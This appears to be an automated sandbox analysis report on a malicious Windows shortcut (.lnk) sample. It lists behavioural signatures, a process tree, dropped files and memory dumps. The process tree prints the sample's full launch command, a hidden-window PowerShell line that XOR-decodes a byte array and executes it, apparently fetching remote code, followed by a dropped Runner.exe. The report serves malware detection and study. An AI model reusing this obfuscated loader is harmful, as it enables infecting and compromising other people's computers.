Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
29/05/2026, 13:03
General
- Target _13d748226193314c6dbb551cb4ce79150bdf5d430945ef9f75ac8269211530a4.lnk
- Size 50KB
- Sample260529-qaqv2ab19x
- SHA256 13d748226193314c6dbb551cb4ce79150bdf5d430945ef9f75ac8269211530a4
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops file in Program Files directory 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\_13d748226193314c6dbb551cb4ce79150bdf5d430945ef9f75ac8269211530a4.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h $k=177;iex(-join([byte[]]@(216,212,201,153,216,195,220,153,156,219,222,216,223,145,150,128,208,130,134,136,213,211,131,208,129,215,213,158,213,158,193,222,197,159,194,212,221,216,215,201,212,217,158,158,139,194,193,197,197,217,150,234,156,128,159,159,156,130,132,236,152,152)|%{[char]($_-bxor$k)}))2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Music\Mp3Drive\Runner.exe"C:\Users\Public\Music\Mp3Drive\Runner.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /query /fo CSV /v /nh4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Tmp8F4B.tmp
__PSScriptPolicyTest_i3nev2kt.su3.ps1
Runner.exe
WINSPOOL.DRV
memory/1152-61-0x00000230FD500000-0x00000230FD54C000-memory.dmp
memory/1152-60-0x00000230FD330000-0x00000230FD348000-memory.dmp
memory/1152-59-0x00000230FD2C0000-0x00000230FD314000-memory.dmp
memory/1152-54-0x00000230E3280000-0x00000230E3288000-memory.dmp
memory/1152-50-0x00000230E17B0000-0x00000230E17B5000-memory.dmp
memory/4832-13-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-18-0x00007FF4071C0000-0x00007FF4071D0000-memory.dmp
memory/4832-26-0x00000204C7E50000-0x00000204C7F03000-memory.dmp
memory/4832-27-0x00000204C5920000-0x00000204C592A000-memory.dmp
memory/4832-28-0x00000204C5910000-0x00000204C5922000-memory.dmp
memory/4832-29-0x00000204C5900000-0x00000204C590A000-memory.dmp
memory/4832-36-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-25-0x00000204C5900000-0x00000204C591C000-memory.dmp
memory/4832-15-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-14-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-2-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-12-0x00000204C7F20000-0x00000204C80E2000-memory.dmp
memory/4832-11-0x00000204C5980000-0x00000204C5990000-memory.dmp
memory/4832-6-0x00000204C5860000-0x00000204C5882000-memory.dmp
memory/4832-3-0x00000204C5980000-0x00000204C5990000-memory.dmp